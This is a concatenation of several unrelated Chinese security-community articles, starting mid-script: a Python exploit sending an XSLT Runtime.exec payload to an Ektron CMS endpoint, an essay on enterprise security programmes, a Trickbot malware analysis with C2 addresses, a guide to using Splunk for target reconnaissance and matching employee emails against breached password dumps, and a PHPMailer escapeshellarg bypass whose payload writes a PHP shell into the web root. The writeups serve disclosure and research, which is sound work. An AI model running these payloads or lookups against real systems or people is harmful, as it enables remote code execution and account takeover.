for line in lines:
print line.strip()
httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()
payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)
headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}
httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers)
response = httpServ.getresponse()
if response.status == httplib.OK:
print "Java Process Id: "
printText (response.read())
httpServ.close()
研究人员并未分享内网渗透内容。
### 小结
渗透测试人员如果发现Microsoft
XSLT解析器中EnableScript设置为False，则不用尝试Metasploit模块，可直接从本文获取一些攻击方式。
参考来源：[hunniccyber](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/) | 社区文章 |
### 作者: secsky
### 前言：
新年伊始，我决定写一篇关于互联网企业安全建设的文章。一来是把自己之前做过和目前正在做的一些事情以及想法总结一下，二来是希望可以帮助对互联网企业安全建设感兴趣或是有这方面需求的朋友。
整篇文章分为三大部分：一、互联网企业为什么要做安全？；二、互联网企业需要什么样的安全?；三、互联网企业如何做好安全？这其实也是我在企业安全建设过程中给自己提出和不断思考的问题。首先，我尝试通过第一个问题来剖析互联网企业都面临哪些安全威胁和安全挑战，进而挖掘出互联网企业的安全需求和安全目标，最终依据这些安全需求和安全目标来制定契合企业自身业务特性的安全建设规划。OK，下面开始进入正题，我们先来谈谈今天第一个话题。
### 一、互联网企业为什么要做安全？
首先从外部环境来看，目前互联网整体安全态势不容乐观。企业每天都面临着来自各方面的安全威胁，网络攻击、勒索、安全漏洞等事件时有发生，企业敏感信息泄露逐渐成为一种常态。一旦发生此类安全事件，都会对企业正常运营、业务发展造成不良影响。加上近年来一些重大安全事件不断被媒体曝光以及整个互联网行业的发展，使得越来越多的互联网企业意识到安全的重要性，开始着手或者有计划招聘专业安全人员来提升企业自身的安全水平。
综合归纳一下，互联网企业做安全的驱动力主要源于以下几个方面：
**1、面临来自各方面的安全威胁**
外部黑客、网络黑产、竞争对手、内鬼等
**2、面临各种安全挑战**
安全漏洞、网络攻击、勒索、敏感信息泄露等
**3、安全问题会对公司运营、业务发展造成不良影响**
经济损失、用户流失、声誉受损、公信力下降等
### 二、互联网企业需要什么样的安全？
在理解互联网企业为什么要做安全后，我们就要开始考虑下一个问题了，那就是互联网企业究竟需要什么样的安全？安全需求有哪些？核心安全目标是什么？为了实现安全目标，需要企业具备什么样的安全能力？
其实通过上面的分析，我们能够比较容易的树立企业核心安全目标。虽然每个企业由于自身业务特性有所不同，但还是有很多共性的。我们一起来看下：
**1、数据安全**
这是所有互联网公司最核心的安全需求，也是绝大多数互联网企业高管最为关注的安全问题。目标是要保障企业敏感数据的安全、可控。
**2、在攻防对抗中占据主动地位**
能够掌控企业整体的安全态势，可主动发现潜在安全风险，及时知道谁、什么时间、做过什么样的攻击、攻击是否成功、目标系统受影响程度，并且在第一时间内解决遇到的安全问题。
**3、保障业务安全、连续、可用**
尽可能降低因网络攻击造成业务系统受影响的安全风险，比如最常见的DDOS、CC攻击等。
上面这些，应该是大多数互联网公司的安全期望或者说是核心安全目标。虽然表面上看着字数不多，但真正要达到这些个目标确并不是一件简单的事情，这应该是一个长期的目标。
### 三、互联网企业如何做好安全？
既然安全目标有了，下面就来聊聊今天的重头戏，互联网企业如何做好安全？这是一个值得思考的问题。
1、树立正确的安全观
互联网企业安全绝不是做一次渗透测试、找安全公司提供个安全解决方案或者买一些安全产品或安全服务就可以搞定的事情。安全是一个整体，并且是动态的，是一件需要长期做和有持续投入的事情。
2、企业安全完整视角
上面刚说到安全是一个整体，那么互联网企业安全都包含哪些方面和内容呢？为了更加直观、清晰的表达，我们直接来看图说话：
图1
通过上图我们可以看到，一个完整的企业安全视角需要涵盖生产网络、办公网络、第三方供应商以及安全合规这四个方面。画出这个图并不难，真正的难点在于如何将安全规划和蓝图变成一件得以落地实施和可跟踪的事情。我想这是很多安全人员尤其是企业安全负责人一直在尝试和思考的问题。我的思路和建议是把整个安全规划中的内容先列出来，把一个大安全目标分解成多个小安全目标，然后列出打算如何实现这些安全目标，哪些安全产品打算自研，哪些需要和第三方安全厂商合作，最终依据企业目前的安全现状、现有资源以及项目优先级进行排期和实施，并定期跟进这些项目的进度，及时解决、改进整个过程中存在的问题，最终目标是建立一个相对完善的企业安全体系。
2.1、生产网络
2.1.1、基础架构安全
基础架构安全如果从网络层次上来划分的话，可以分为物理安全、网络安全和系统安全三个层面。这部分属于传统意义上的网络安全，是整个企业安全体系中最基础的部分。
图2
2.1.2、应用安全
应用安全绝对是互联网企业安全工作中的重点，也是企业投入资源最多的部分。分为WEB安全和移动安全两个方向，主要围绕SDL和应用层的攻防对抗展开。
图3
2.1.3、业务安全（风控）
业务安全（风控）专注于业务层面的安全对抗，是互联网企业安全中非常重要的组成部分，由于受业务特性影响，电商、互联网金融领域更加重视风控，
这些企业中风控通常是一个独立的部门，而且汇报级别和权限都比较高。业务安全这块的市场前景广阔，现在不少安全创业公司尝试利用大数据、机器学习、人工智能等新技术来解决业务安全问题。
图4
2.1.4、安全运营
图5
2.2、办公网络
2.2.1、基础架构安全
办公网基础架构安全方面，重点要关注边界安全防护，尤其是WIFI和VPN这两个办公网入口的安全性。
图6
2.2.2、内部应用安全
办公网内部应用主要包含像OA、企业邮箱、财务、运维及其他内部业务系统。这类系统的主要特点是上线后更新频率低，很多是采购第三方厂商的，还有一些是开源系统。谨记一定不要将内部系统暴露到公网，很多严重的安全事件都是由于将内部业务系统暴露到公网导致的。此外，还要对重要的内部系统做好安全监测，及时发现异常行为。
图7
2.2.3、终端安全
这部分工作相对比较简单，主要是终端防病毒、补丁管理、终端安全管控和审计，很多安全厂商都有成熟的产品。对绝大多数互联网公司来讲，都不需要也没有必要自研终端安全产品，直接选型、对比、采购第三方安全厂商的产品就可以搞定。
图8
2.2.4、安全管理
人是整体企业安全体系最薄弱的部分，这一点正被越来越多的企业和安全人员所认识和接受。安全管理侧重于企业人员安全意识的培养和提升，核心价值在于把安全建设成为一种企业文化。
图9
2.3、第三方供应商
这部分是之前被很多企业忽视的地方，在和企业合作的第三方合作伙伴中，安全水平也不尽相同，而且这部分通常是不可控的。所以安全团队在有精力和资源的情况下也应该关注下第三方合作伙伴的安全性，避免因第三方合作机构出现安全问题而影响公司业务。
图10
2.4、安全合规
对于企业来讲，如果想要开展某些业务，是需要通过一些安全认证的，比如要申请支付牌照的话，就需要通过PCI
DSS认证，还有海外上市也会有一些安全合规上的要求，还有像ISO
27001、等保之类需求，每个企业需求不太一样。总体来讲这部分工作侧重于安全合规、审计，这里就不讨论了。
### 3、安全建设发展阶段
根据上面的安全建设规划可以看到，从零开始建设一个完整的企业安全体系需要做的事情很多，这并不是一件一蹴而就的事情，是一个系统化的工程。通常一个企业的安全建设需要经历以下几个阶段：
图11
3.1、救火阶段：
这是一个企业安全从无到有必须到经历的阶段，从字面上就可以看出这个阶段安全工作比较被动，安全人员很多时候是充当救火队员的角色。这个阶段工作的核心是解决目前企业遇到最严重、优先级最高的安全问题，在这个过程中要尽快熟悉公司的环境、业务、系统架构等。此外，这个阶段还有个不小的挑战就是如何找到合适的人才组建安全团队。
3.2、基础安全建设阶段
在经历救火阶段后，就要开始基础安全建设了。这个阶段的核心安全目标是解决安全规划中优先级最高的安全问题。这个过程会制定、实施一些基础的安全流程和规范，开发一些自动化的安全工具、系统，功能也许不是十分完善，但是可以满足目前的安全需求。还会在一些方面和第三方安全厂商合作，通过购买一些安全产品或服务来提升企业自身安全水平。比如像定期渗透测试、安全众测、抗D、堡垒机、防火墙这类基础安全服务和设备。
3.3、安全可覆盖核心业务系统
一个大、中型互联网公司都会有多条业务线，每条业务线又会有多个业务系统，而且这些业务线可能会分布在多个不同的部门，由不同的人负责。如果一上来就想在所有业务线推广SDL，很大机率会失败。因为这个阶段安全团队的人不会很多，并没有足够的精力和资源去做覆盖所有业务线的事情。比较明智的做法是先从核心业务系统切入，待整个流程跑通、理顺后再向其他业务线推广。这个阶段的核心安全目标是要能够保障核心业务系统的安全，可通过对核心业务系统实施SDL、定期漏洞扫描、安全监控等措施来达到这一目标。
3.4、安全可覆盖全部业务线系统
这个阶段由于有上一个阶段的积累，并且到这时安全建设也已经进入正轨，相对要容易实现一些。在这个阶段遇到最大的挑战可能是如何招到合适的安全人才和留住现有安全人才。
3.5、实现全面自动化、平台化
发展到这个阶段，安全团队已经具有一定规模，各种安全角色也基本到位。也有了很多的安全系统、平台，但存在的问题是这些系统和平台并没有实现很好的联动和关联分析。所以这个阶段的主要目标是把已有的安全系统、平台进行进一步整合，打磨，进而可以进行高度的联动和关联分析，以更好的掌控公司整体安全态势，还可以将现有安全系统、平台产品化，为下一步对外输出安全能力做好准备。
3.6、对外输出安全能力
这个阶段只有当公司业务和安全团队发展的足够大时，才有机会做这样的事情。目前国内的互联网公司中除了BAT以外，还没有其他公司有能力和机会对外输出安全，所以这里不作过多讨论。
### 四、总结
上面说了这么多，其实一个企业的安全能否做好、做强，并不只是一个技术问题，它是由多种因素综合决定的。除了企业高层对安全有正确的认识和大力支持外，和企业安全负责人的能力、视野以及企业所在行业也有很大的关系。
互联网企业安全建设之路任重而道远，包含的内容实在是非常的多和广，绝非一篇文章能够说的清楚。今天先写这些多吧，有时间再写后面的。由于本人能力有限，文中肯定有一些不足之处，欢迎大家一起探讨，共同进步。 | 社区文章 |
Trickbot是一个简单的银行木马，在过去的一段时间内，犯罪分子不断向其添加新的功能。3月份，Trickbot增加了检测绕过和锁屏特征。10月份又加入了password
grabber（密码抓取）模块（`pwgrab32`），可以窃取许多应用和浏览器的访问权限，包括`Microsoft Outlook, Filezilla,
WinSCP, Google Chrome, Mozilla Firefox, Internet Explorer, Microsoft
Edge`。受Trickbot新变种影响的用户主要位于美国、加拿大、菲律宾等。
# Trickbot模块分析
恶意软件作者在不断地更新Trickbot的模块化结构，恶意软件可以通过从C2服务器下载新的模块，修改配置来完成快速更新。为了更好地理解Trickbot，下面对Trickbot的模块进行分析。
## pwgrab32模块
`pwgrab32`（PasswordGrabber密码抓取）模块是Trickbot新加入的模块，可以从Filezilla, Microsoft
Outlook, WinSCP等应用中窃取凭证。
图1. 受感染系统中的Trickbot pwgrab32模块
图2. 从FileZilla中窃取FTP密码的新模块代码
图3. 从Outlook窃取凭证的新模块代码
图4. 从开源 FTP WinSCP窃取凭证的Trickbot
除了从应用中窃取凭证外，Trickbot还可以从Google Chrome, Mozilla Firefox, Internet Explorer,
Microsoft Edge等主流的web浏览器应用中窃取以下信息：
* Usernames and Passwords
* Internet Cookies
* Browsing History
* Autofills
* HTTP Posts
图5. 从主流浏览器中窃取密码的Trickbot代码
Trickbot变种并不能从第三方密码管理器应用中窃取密码。研究人员目前正在研究恶意软件是否可以从含有浏览器插件的密码管理器中窃取密码。
## shareDll32模块
Trickbot用shareDll32模块来通过网络传播（繁殖）。该模块会链接到C2服务器`http[:]//185[.]251[.]39[.]251/radiance[.]png`来下载一个副本并保存为`setuplog.tmp`。
图6. Trickbot的shareDll32模块连接C2服务器下载副本
图7. 下载的文件保存为setuplog.tmp
`shareDll32`模块然后用`WNetEnumResource`和`GetComputerNameW`枚举和找出连接到相同域名的系统。
图8. 用WNetEnumResource和GetComputerNameW枚举和找出连接到相同域名的系统的代码
然后文件`setuplog.tmp`会被复制到机器或系统中的管理共享中。
图9. 复制到管理共享中的`setuplog.tmp`
为了让恶意软件更加持久，自动启动服务会使Trickbot恶意软件在机器启动时自动启动。该服务也有以下名字：
* Service Techno
* Service_Techno2
* Technics-service2
* Technoservices
* Advanced-Technic-Service
* ServiceTechno5
## wormDll模块
`wormDll32`模块会尝试用`NetServerEnum`和`LDAP`查询来识别出服务器和域名控制器。Trickbot蠕虫般的传播能力最早是2017年Flashpoint的研究人员发现的。
图10. 用NetServerEnum识别域中的工作站和服务器的代码
图11.用LDAP查询识别网络中的域控制器的代码
图12. 用LDAP查询识别网络中的非域控制器的机器的代码
研究人员发现又一个可能的SMB协议实现使用了`pysmb`，对老版的windows操作系统和IPC shares使用`NT LM
0.12`查询。但该功能应该还在开发中。
图13. 可能的SMB通信
## networkDll32
Trickbot使用该加密模块来扫描网络并窃取相关的网络信息。`networkDll32`模块会执行下面的命令来在受害者系统上收集信息：
图14. networkDll32模块执行命令来收集网络信息
## Wormdll32模块
`Wormdll32`模块是Trickbot用来通过`SMB`和`LDAP`查询进行传播的加密模块。它与模块`wormDll`一起在网络上传播。
## importDll32模块
`importDll32`模块负责窃取浏览器数据，包括浏览历史、cookies、插件等。
## systeminfo32模块
成功安装后，Trickbot会收集操作系统、CPU、内存信息、用户账户、安装的程序和服务等信息。
## mailsearcher32模块
`mailsearcher32`模块会搜索受感染系统中的文件来收集邮箱地址来进行信息窃取。
收集邮箱地址用于垃圾邮件相关的活动是恶意软件的常见行为。但Kryptos研究最近发现Emotet银行木马不仅窃取邮箱地址，还会窃取Outlook接收和发送的邮件。之前的研究发现Emotet也负责传播Trickbot的这一变种。
## injectDll32模块
`injectDll32`是一个加密模块，负责监控银行应用可能使用的网址。也会用反射型DLL注入技术来讲代码注入到目标进程中。
`injectDll32`会用两种凭证窃取方法来监控银行相关的网站：
* 一是，当用户登陆到任一监控的银行网站后，Trickbot发送POST请求到C2服务器来提取用户的登陆凭证。
* 二是，Trickbot会监控用户是否访问特定的银行相关的网站，比如`C. Hoare & Co bank, St. James’s Place Bank, Royal Bank of Scotland`，如果有，就讲用户重定向到伪造的钓鱼网站。
Trickbot监控的银行URL包含美国、加拿大、英国、德国、澳大利亚、奥地利、爱尔兰、伦敦、瑞士等。
# Trickbot其他技术
Trickbot主要通过恶意垃圾邮件活动发送。恶意软件会通过执行特定命令和修改注册表的方式关闭微软内置的反病毒软件Windows Defender。
还会中止Windows Defender相关的进程`MSASCuil.exe`,
`MSASCui.exe`,和反监控软件工具`Msmpeng.exe`。同时又自动开始机制，首次执行后每隔10分钟就会执行一次。
恶意软件会关闭以下反恶意软件服务：
* MBamService (Malwarebytes-related Process)
* SAVService (Sophos AV-related process)
反分析功能会检查系统，如果发现`pstorec.dll, vmcheck.dll, wpespy.dll, dbghelp.dll`等特定的模块就中止运行。
# IoC
**Trickbot C2服务器**
103[.]10[.]145[.]197:449
103[.]110[.]91[.]118:449
103[.]111[.]53[.]126:449
107[.]173[.]102[.]231:443
107[.]175[.]127[.]147:443
115[.]78[.]3[.]170:443
116[.]212[.]152[.]12:449
121[.]58[.]242[.]206:449
128[.]201[.]92[.]41:449
167[.]114[.]13[.]91:443
170[.]81[.]32[.]66:449
173[.]239[.]128[.]74:443
178[.]116[.]83[.]49:443
181[.]113[.]17[.]230:449
182[.]253[.]20[.]66:449
182[.]50[.]64[.]148:449
185[.]66[.]227[.]183:443
187[.]190[.]249[.]230:443
190[.]145[.]74[.]84:449
192[.]252[.]209[.]44:443
197[.]232[.]50[.]85:443
198[.]100[.]157[.]163:443
212[.]23[.]70[.]149:443
23[.]226[.]138[.]169:443
23[.]92[.]93[.]229:443
23[.]94[.]233[.]142:443
23[.]94[.]41[.]215:443
42[.]115[.]91[.]177:443
46[.]149[.]182[.]112:449
47[.]49[.]168[.]50:443
62[.]141[.]94[.]107:443
68[.]109[.]83[.]22:443
70[.]48[.]101[.]54:443
71[.]13[.]140[.]89:443
75[.]103[.]4[.]186:443
81[.]17[.]86[.]112:443
82[.]222[.]40[.]119:449
94[.]181[.]47[.]198:449
**SHA256**
TSPY_TRICKBOT.THOIBEAI:
806bc3a91b86dbc5c367ecc259136f77482266d9fedca009e4e78f7465058d16
<https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/> | 社区文章 |
> 先知原创作者翻译：[原文链接](https://vincentyiu.co.uk/offensivesplunk/ "原文链接")
摘要：在进行攻击性安全数据分析的时候，Splunk在数据的浏览和分析方面，要比传统的Grep更具优势。
## 为什么选择Splunk而非ELK？
ELK本身就是一个非常优秀的开源项目，如果辅之以[Cyb3rward0g](https://twitter.com/Cyb3rWard0g
"Cyb3rward0g")的[HELK项目](https://github.com/Cyb3rWard0g/HELK
"HELK项目")的话，在易用性方面将更上一层楼。事实上，在我“归顺”Splunk之前，已经用过ELK一段时间了。使用ELK时，我意识到必须事先创建一个.config文件来指定数据的位置，然后再上传数据。这给我带来了许多不便，因为这意味着，对于每个小数据集，都需要指出相应的头部和数据类型。然而，Splunk只需简单地点击Web
UI并上传CSV文件，数据上传的工作就能够轻松搞定。
我知道，很多渗透测试团队都在使用ELK进行日志记录和分析工作，关于这方面的详细介绍，我会在另一篇文章中加以介绍。ELK通常不适用于“快餐式”PoC环境，这种环境一般用于评估需要哪些资源来创建一个进攻性的分析系统，以及这样做会得到什么好处。在这篇文章中，我们将重点介绍如何使用Splunk作为日志分析系统来实现数据的快速可视化和搜索。
## 安装Splunk
安装过程非常简单，读者可以访问Splunk的网站，然后下载适用于Windows的MSI软件包，或根据自己的操作系统下载相应的软件包。我使用的电脑具有20GB
RAM和300GB SSD硬盘的系统，该软件在这台电脑上面的运行效果不错；当然，内存少一点也没关系，因为Splunk看起来不太吃内存。
我们建议读者使用开发人员许可证，该许可证具有6个月的试用期，在这段时间内，读者可以通过Splunk为所需数据编制索引。实际上，索引的过程只是将数据导入数据库并对其进行优化，以便于进行搜索。
**数据摄入**
是的，这个工作的确很轻松：你甚至可以通过上传方式来直接获取.json.gz文件。不过，由于Project
Sonar文件实在太大，所以，我使用命令splunk add oneshot
sonar.json.gz将其加载到Splunk中。虽然获取数据通常需要花费一点时间，但一旦完成，搜索就会快如闪电。
如果数据小于500MB的话，我们甚至可以使用Web UI完成数据的上传：
**Project Sonar**
为了演示如何应用Project Sonar的Forward DNS数据，我决定考察一下Splunk在聚合和理解数据方面的能力。
**内容分发网络**
查找形如*.cloudfront.net的域名。
常规的grep命令：
:/$ time zcat fdns_a.json.gz | grep '\.cloudfront\.net' | tee -a cloudfront.net.txt
real 10m25.282s
user 9m16.984s
sys 1m23.031s
使用Splunk进行相应的搜索：
value="*.cloudfront.net"
47.63 seconds
使用grep命令完成上述搜索所花费的时间，是使用Splunk所需时间的13.13倍。
## 域搜索
获取特定域的所有子域：
这个过程几乎是瞬间完成的。如果使用常规的grep命令的话，这个过程通常需要10分钟左右。然而更加有趣的是，我们还可以利用Splunk的分析功能执行相关操作来查找诸如“多少个域共享同一个主机？”等信息，例如：
这将得到如下所示结果：
从上图可以看出，右侧的所有主机名都指向了一台特定的服务器。
除此之外，我们也可以映射服务器的物理位置，例如：
name="*.uber.com" | stats values(name) by value | iplocation value | geostats count by City
这将得到如下所示结果：
当然，有时这样做可能没有多大用处，但的确却可以立刻获悉目标服务器的地理位置。
如果需要对攻击目标组织在特定国家/地区内的服务器进行精确打击的话，则可以使用Splunk来进行相应的过滤：
name="*.uber.com" | stats values(name) by value | iplocation value | search Country="United States"
如果有必要的话，甚至可以将范围缩小至某个具体的国家。
## 获取所有子域
此外，我们也可以执行以下搜索来获取所有子域。当然，解析14亿个结果可能需要花费太多时间，所以，这里仅仅以一个域为例进行说明：
index=main [search name="*.uber.com"]
| table name
| eval url=$name$ | lookup ut_parse_extended_lookup url
或搜索特定的子域：
index=main [search name="*.uber.com"]
| table name
| eval url=$name$ | lookup ut_parse_extended_lookup url
| table ut_subdomain
| dedup ut_subdomain
当需要从目标组织下属域名中搜索相同的子域以寻找更多子域的时候，这种方法会很有帮助。
## DomLink domains-> Give me all subdomains
如果结合我的工具[DomLink](http://https//github.com/vysec/DomLink
"DomLink")一起使用的话，我们就可以获取相应的搜索结果，并让Splunk为我们提供隶属于目标组织的所有子域的完整清单。两者结合之后，这会变得轻而易举。
首先运行该工具，然后使用命令行标志将结果输出到指定的文本文件中：
现在，我们已经获取了一个域列表，位于我们的输出文件中，这样，就可以读取这些域名，并创建一个以name开头的新文件，然后使用简单的正则表达式，通过*.替换域名的第一个字段：
经过上面的处理之后，我们的文件内容将会变成下面这样：
将这个文件保存到C:\Program
Files\Splunk\etc\system\lookups目录中，并将其命名为Book1.csv。然后，执行以下搜索操作：
index=main [inputlookup Book1.csv] | table name
结果如下所示：
然后，我们就可以导出这些结果，继而将其导入其他工具中了。
## 密码转储
这里使用的是LeakBase
BreachCompilation的数据，同时，为了将数据导入Splunk，我们还参考这篇文章，利用Elk对Outflank的密码转储数据的格式进行了相应的处理。通过运行其中提供的脚本，就可以方便地将转储数据转换为以空格符分隔的文件格式，这实在是太方便了：
我对该脚本稍作修改，使其将相应结果输出到磁盘，而不是直接推送到ELK/Splunk。
这一点对于我们来说非常重要。这是因为，Splunk无法接收空格符分隔的文件，因此，我们必须修改Outflank提供的脚本，将相应的格式转换为可导入的CSV格式。
为此，只需执行splunk add oneshot input.csv -index passwords -sourcetype csv -hostname
passwords -auth "admin:changeme"，然后就ok了！
好了，让我们看看最常用的密码到底是什么！
index=passwords
| stats count by password
| sort 100 -count
如果对基础词汇感兴趣的话，可以使用模糊匹配技术，例如：
index=passwords
| table password
| fuzzy wordlist="password" type="simple" compare_field="password" output_prefix="fuzz"
| where fuzzmax_match_ratio >= 67
| stats count by password
| sort 100 -count
@facebook.com电子邮件最常用的密码：
下面，我们以图形化的形式来展示数据：
更有趣的是，我们可以通过员工OSINT获取的电子邮件轻松实现密码的交叉核对。当然，我们也可以通过grep命令来完成这项任务。
**DomLink domains - > Give me all passwords for all domains**
* * *
在运行DomLink（关于DomLink，上文已有介绍）之后，我们可以继续使用它来完成相应的查找工作。不过，这里使用的正则表达式是
[email protected]，而非_.domain.com，此外，还需要按照下面的方法来设置电子邮件的标题字段：
然后执行查询操作：
index=passwords [inputlookup uber.csv]
| table email, password
这样，我们就会得到一份表格形式的输出结果，如果需要的话，可以将其导出为CSV格式：
这简直太棒了，至少我是这么认为的。
## 员工OSINT
当我们在外部基础架构上执行有针对性的钓鱼攻击或"拖库"时，通常首先要搞到相应的用户名清单，所以，这时了解组织员工的概要信息就非常重要了。不过，[LinkedInt](https://vincentyiu.co.uk/reconnaissance-using-linkedint/
"LinkedInt")好像就是专门为此而生的。此外，我们还需要一个靠谱的工具，以帮助我们获取目标组织的员工名单。这对于少数几家公司的一两个特定数据集来说，优势并不是特别明显。然而，如果您要为Alexa上前100万个网站和财富500强企业自动收集员工数据的话，这种方法的优势就立马显现出来了。当然，这些工作可以实现全自动化。
这里，我们将演示如何从一个尚未公开的数据集（可能会在HITB
GSEC上公开）中导入数据，以分析员工的基本信息。这里介绍的方法也同样适用于LinkedInt。实际上，我们只需将数据作为CSV文件导入即可，具体如前所述。
我们可以使用Splunk搜索符合特定姓氏、名字或地理位置要求的员工：
我们甚至可以考察相关的工作岗位上的员工数量等信息：
从这里可以看出，大部分员工都是送货人员，因为这家公司相当于中国的Deliveroo。
实际上，我们还可以进一步将其绘制成角色分布图：
虽然这里只有5000名左右的员工数据，但是已经足以了解目标组织中人员的大致分布情况了，至少在进行下一步的社工之前，可以帮助我们回答下列问题：
* 是否需要雇佣社工人员？
* 我应该拥有什么头衔？
* 我的角色是什么？
* 我在哪里？（是的，如果X角色位于Y地址的概率很高的话，就选Y地址）
* 担任该角色的员工有多少？
对于某些公司来说，如果有很大一部分(近10%
)员工都是送货员的话，那么他们很可能无法接触到普通员工，也很难获得普通员工的信任。所以，根据上述问题做出相应的选择是非常重要的一件事情。
最后，我想知道自己的OSINT和员工的实际分布的实际差距有多大，换句话说到底有多么准确？
## 综合运用员工OSINT与密码转储
如果将通过员工OSINT获取的电子邮件与密码转储结合起来，那么查找密码就会变得更加轻松：
index=passwords [search index=eleme
| eval email=$Email$
| table email]
真不错，至少我是这么认为的。当然，您也可以使用grep来实现这一点，但上面这种方法不仅在导入新CSV文件的时候要更加简便，并且几乎可以立即找到匹配的密码列表（可以将其导出为CSV或表格）。
## Nmap扫描
将.gnmap文件上传到Splunk，把时间戳设置为none。
然后，可以运行以下示例查询来格式化数据，并通过Splunk以高效的方式完成相应的搜索：
1
source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports | rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)"
| rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
| rex field=_raw "OS:\s(?<os>\w+)"
| eval os = if(isnull(os),"unknown",os)
| eval mv=mvzip(port, status)
| eval mv=mvzip(mv, proto)
| eval mv=mvzip(mv, desc)
| mvexpand mv
| makemv mv delim=","
| eval ports=mvindex(mv, 0)
| eval status=mvindex(mv, 1)
| eval proto=mvindex(mv, 2)
| eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
| table dest_ip ports status proto desc os
| sort dest_ip
如果你有大量的扫描需要进行解析的话，这种方式是非常有效的。例如，您可以扩展该查询来绘制所有开放了TCP的443端口的服务器的地理位置：
source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports
| rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)"
| rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
| rex field=_raw "OS:\s(?<os>\w+)"
| eval os = if(isnull(os),"unknown",os)
| eval mv=mvzip(port, status)
| eval mv=mvzip(mv, proto)
| eval mv=mvzip(mv, desc)
| mvexpand mv
| makemv mv delim=","
| eval ports=mvindex(mv, 0)
| eval status=mvindex(mv, 1)
| eval proto=mvindex(mv, 2)
| eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
| table dest_ip ports status proto desc os
| sort dest_ip
| table dest_ip,ports
| search ports=443
| iplocation dest_ip
| geostats count by City
[1]参考文章：[How to parse Nmap in
Splunk](https://answers.splunk.com/answers/327620/how-to-parse-grepable-nmap-output.html "How to parse Nmap in Splunk")
## 小结
数据的处理和分析在渗透测试过程中扮演了一种重要的角色。俗话说，工欲善其事，必先利其器，就像密码破解需要借助于32个GPU的破解平台一样，Splunk也有助于令渗透测试过程更加简化和高效。
许多人认为，GZIP的类比有些流于表面，那好，下面我们就给出agn0r对Splunk基于Lexicon结构的运行机制的深刻洞见： | 社区文章 |
**Author: Hcamael, p0wd3r (知道创宇404安全实验室)**
**Date: 2016-12-28**
## 0x00 简介
前两天爆出了 PHPMailer 小于 5.2.18 版本的 RCE
漏洞，官方在补丁中使用了`escapeshellarg`来防止注入参数，但有趣的是经过测试我们发现该补丁是可以被绕过的，并且攻击面可以延伸到更大而不仅仅是局限于这个应用。
## 0x01 漏洞复现
### 环境搭建
Dockerfile:
FROM php:5.6-apache
RUN apt-get update && apt-get install -y sendmail
RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini
提前下载好源码，在源码根目录下添加测试文件 1.php：
<?php
require('PHPMailerAutoload.php');
$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('[email protected]', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';
$mail->send();
?>
shell:
docker build -t bypass-test .
docker run --rm --hostname xxx.xxx --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.19:/var/www/html bypass-test
### 复现
PHPMailer 对之前的漏洞做了如下补丁：
即对输入使用`escapeshellarg`处理，最新版本中使用之前的 payload 攻击是失败的，例如：`a(
-OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com`，但是经小伙伴的测试，在最新版中可以使用这个
payload：`a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com`，结果如下：
访问`http://127.0.0.1:8080/1.php?x=a%27(%20-OQueueDirectory=/tmp%20-X/var/www/html/x.php%20)@a.com`，shell
成写入：
根据调试的结果，我们可以看到参数确实被`escapeshellarg`处理过了：
那么为什么用了`'`就会在这里绕过`escapeshellarg`的限制呢？
我们看一下`mail`的代码：https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c ，其中第167-177行如下：
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
可见参数在`mail`中又经过了`escapeshellcmd`的处理，将整个过程进行简化：
可见两个函数配合使用就会导致多个参数的注入。
我们详细分析一下：
1. 传入的参数是：`172.17.0.2' -v -d a=1`
2. 经过`escapeshellarg`处理后变成了`'172.17.0.2'\'' -v -d a=1'`，即先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过`escapeshellcmd`处理后变成`'172.17.0.2'\\'' -v -d a=1\'`，这是因为`escapeshellcmd`对`\`以及最后那个 **不配对儿** 的引号进行了转义：http://php.net/manual/zh/function.escapeshellcmd.php
4. 最后执行的命令是`curl '172.17.0.2'\\'' -v -d a=1\'`，由于中间的`\\`被解释为`\`而不再是转义字符，所以后面的`'`没有被转义，与再后面的`'`配对儿成了一个空白连接符。所以可以简化为`curl 172.17.0.2\ -v -d a=1'`，即向`172.17.0.2\`发起请求，POST 数据为`a=1'`。
回到`mail`中，我们的 payload 最终在执行时变成了`'-fa'\\''\( -OQueueDirectory=/tmp
-X/var/www/html/test.php
\)@a.com\'`，分割后就是`-fa\(`、`-OQueueDirectory=/tmp`、`-X/var/www/html/test.php`、`)@a.com'`，最终的参数就是这样被注入的。
**谁的锅？**
